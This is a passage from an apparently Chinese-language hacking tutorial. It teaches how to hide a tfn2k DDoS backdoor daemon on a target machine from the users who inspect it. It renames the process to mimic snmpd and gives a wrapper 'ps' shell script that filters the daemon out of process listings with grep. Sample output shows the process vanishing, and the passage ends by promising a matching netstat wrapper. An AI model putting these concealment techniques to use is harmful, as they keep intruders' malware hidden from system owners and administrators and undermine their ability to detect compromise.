好了,现在回忆一下,通过哪些途径有可能发现我们运行着的这个程序呢??
ps命令 发现后门程序进程
netstat 命令 发现监听端口异常
top 查看时发现
现在我们依次来想想隐藏的对应方法:
top命令中只显示进程名而不显示路径,我们可以用一个比较like系统正式进程的名字蒙混过去,例如在config.h中将tfn2k的进程名改为snnpd这样容易和snmpd相似的名字;
ps命令。。。如果有办法能够把ps命令中的关于我们程序那行去掉不是就ok了??ok,写一个名字是ps的shell,丢到我们的目录下,比如/home/skylove (模拟了啦,用个简单点的)
首先,我们把这个shell也命名为ps,然后输入以下的内容
#!/bin/sh
/bin/ps $* | grep -v tfn-daemon | grep -v grep
记得把这个shell的权限改正确,下面我们来解释一下这句shell的含义
$*表示的是这个shell获取的所有参数,ps $* 表示调用系统的命令ps加参数来例出进程列表,然后将结果重定向到 grep –v tfn-daemon这句里,而这一条命令的意思则是从前面ps命令列出的所有进程中,把含有关键字 tfn-daemon的这个进程去掉,最后一句则表示把grep命令本身去掉,当然这一句可用也可不用。好了,让我们整体上来看看执行了这个shell之后的效果吧:
首先,我们用系统的ps –aux命令来列出进程,得到类似这样的结果:
postfix 13922 0.0 1.7 13108 2232 ? S Oct17 0:00 /usr/sbin/httpd
skylove 9641 0.0 0.2 1444 284 ? S 11:34 0:00 tfn-daemon
postfix 15943 0.0 0.7 3148 988 ? S 16:00 0:00 pickup -l -t fifo -u
skylove 17083 0.0 1.4 6800 1784 ? S 16:48 0:00 /usr/sbin/sshd
接着用./ps –aux 执行我们的shell的结果,则得到的是:
postfix 13922 0.0 1.7 13108 2232 ? S Oct17 0:00 /usr/sbin/httpd
postfix 15943 0.0 0.7 3148 988 ? S 16:00 0:00 pickup -l -t fifo -u
skylove 17083 0.0 1.4 6800 1784 ? S 16:48 0:00 /usr/sbin/sshd
看到没?? 显示我们木马的那条进程就此不再显示了!这样一来,就做到了我们的进程的隐藏。而且对待任何的真实ps命令的合法参数都可以成功执行,包括无参数的情形——时刻要记得,做后门玩的是“合金装备”,暴露一次就完蛋!
但目标机的用户查看进程的时候使用的是ps,而不是我们目录下的这个名叫ps 的小shell啊!! 别着急,后面我们会有办法d~~~
耐着性子,接下来用类似的方式写一个叫做netstat 的shell
